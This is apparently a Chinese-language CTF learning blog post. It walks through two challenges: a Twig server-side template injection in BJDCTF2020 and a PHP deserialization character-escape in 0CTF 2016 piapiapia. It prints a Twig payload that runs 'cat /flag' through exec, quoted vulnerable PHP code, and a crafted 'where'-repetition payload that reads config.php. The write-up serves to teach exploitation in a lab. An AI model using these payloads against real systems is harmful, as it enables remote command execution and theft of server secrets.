知识点
-
jinja2
- jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
-
Twig
- Twig是一款灵活、快速、安全的PHP模板引擎。
23-1 [BJDCTF2020]Cookie is so stable
做题思路
首先打开靶机之后有个提示,对我没用
然后打开 flag ,问我什么名字,输入之后,显示的是输入的值,怀疑这里有注入
尝试一下,发现是模板注入输入 {{7*7}} 得到49
然后又尝试了 {{system('ls')}} ,显示
没啥头绪,但是看到题目说到cookie 便尝试抓包分析
依然不懂为啥子,找大佬
发现这个
在user处尝试注入
{{7*'7'}} 回显7777777 ==> Jinja2 {{7*'7'}} 回显49 ==> Twig判断出是哪种模板注入后,就构建payload获取 flag,
这里采用的是大佬的
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}暂时,还没去弄明白模板注入
23-2 [0CTF 2016]piapiapia
做题思路
打开为一个登陆页面,尝试登陆,看源代码,抓包分析
好家伙,不会
看眼WP
大佬扫到了
在config.php中有变量flag,但为空,flag应该在服务器的config.php文件中,要找可以利用的漏洞读取服务器的flag
(三)代码审计
有注册功能,且代码中要求必须注册才能进行其后的操作;
update.php中对用户填写的信息进行了一些限制,且将信息序列化保存;class.php 中的 filter 也对用户信息进行了限制.1、update.php
(1)phone 长度为11位;
(2)nickname长度小于 10 位,且只能为字母和数字;
(3)将用户填写的 phone、email、nickname 以及上传的 文件进行序列化<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; ......
2、class.php 中的限制:
(1)update_profile 中对 new_profile 用 filter 进行了过滤;
(2)filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.<?php ...... public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } ..... public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); ......
3、profile.php
(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
(2)用base64编码对上传文件进行了读取和显示<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
(四)突破:php反序列化字符逃逸
PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。
这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。
1、构造数据
(1)选择构造数据的位置:构造数据要被挤到 photo 的位置,那么需要在 photo 前一个数据项,即 nickname 的位置,构造超出规定长度的数据;
(2)绕过限制:前面对 nickname 限制了长度为 10 ,这里要将其改为数组绕过
(3)获取构造数据长度<?php $profile['phone'] = '12345678990'; $profile['email'] = '123@123.com'; $profile ['nickname'] = ['abc']; $profile['photo'] = 'config.php'; echo serialize($profile);
结果:
a:4:{s:5:"phone";s:11:"12345678990";s:5:"email";s:11:"123@123.com";s:8:"nickname";a:1:{i:0;s:3:"abc";}s:5:"photo";s:10:"config.php";}
读 config.php 的数据,加上对前面符号的闭合的字符串,长34位:
";}s:5:"photo";s:10:"config.php";}
- 1
即需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去
(4)在 filter 进行过滤时, ‘where’ 替换成了 ‘hacker’ ,此时字符串的长度加了 1 ,若在 nickname 处填进 34 个 ‘where’ ,就会被替换成 34 个 ‘hacker’,即nickname 的长度超出了 34 位,正好把 ";}s:5:“photo”;s:10:“config.php”;} 挤到的photo的位置。
最后 nickname 的填入的结果:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
2、利用base64编码读取服务器的config.php文件中的flag
(1)在register.php注册,任何登录,填写信息,在burpsuite中把nickname 改成数组,绕过检测nickname的正则
(2)查看profile 的源码痛诉我今天这题,没花时间,明天再仔细研究
借鉴WP